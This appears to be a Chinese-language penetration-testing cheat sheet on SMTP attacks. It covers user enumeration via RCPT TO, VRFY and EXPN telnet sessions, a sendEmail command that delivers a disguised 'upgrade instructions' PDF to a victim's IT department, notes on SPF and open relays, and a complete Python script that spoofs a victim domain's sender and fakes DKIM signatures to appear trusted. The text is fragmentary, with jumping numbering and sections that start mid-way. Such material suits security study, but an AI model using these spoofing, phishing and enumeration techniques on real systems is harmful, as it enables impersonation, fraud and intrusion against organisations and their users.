220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me # 这里只写了 me ，而服务器却自动填充了地址，
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
6. 嗅探
检查是否从数据报中嗅探了一些密码到端口 25
7. Auth 暴力破解
用户名暴力枚举
1. RCPT TO
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
2. VRFY
$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown
3. EXPN
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>
如果你向某个组织发送电子邮件至无效地址，该组织将通知该地址无效并发回邮件给你，返回的电子邮件的标题将包含可能的敏感信息(eg: 与报告交互的邮件服务的 IP 地址或防病毒软件信息)
命令
从 Linux 控制台发送电子邮件
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
假设邮件服务器收到了一封邮件，来自主机的 IP 是173.194.72.103，并且声称发件人为email@example.com。为了确认发件人不是伪造的，邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件，则服务器就认为这封邮件是合法的；如果不允许，则通常会退信，或将其标记为垃圾/仿冒邮件。
因为不怀好心的人虽然可以「声称」他的邮件来自example.com，但是他却无权操作example.com的 DNS 记录；同时他也无法伪造自己的 IP 地址。因此 SPF 是很有效的，当前基本上所有的邮件服务提供商（例如 Gmail、QQ 邮箱等）都会验证它。
2. SPF 记录的语法
一条 SPF 记录定义了一个或者多个 mechanism，而 mechanism 则定义了哪些 IP 是允许的，哪些 IP 是拒绝的。
为防止发送的邮件被垃圾邮件过滤器过滤而无法到达收件人，发件人可以使用收件人信任的中继服务器。通常，管理员没有概述他们必须允许哪些IP范围。这会导致我们在外部和内部渗透测试中仍然经常发现的 SMTP 服务器配置错误。因此，它们允许所有 IP 地址不会在电子邮件流量中造成错误，从而不会干扰或无意中中断与潜在和当前客户的通信
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
或者手动完成
# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
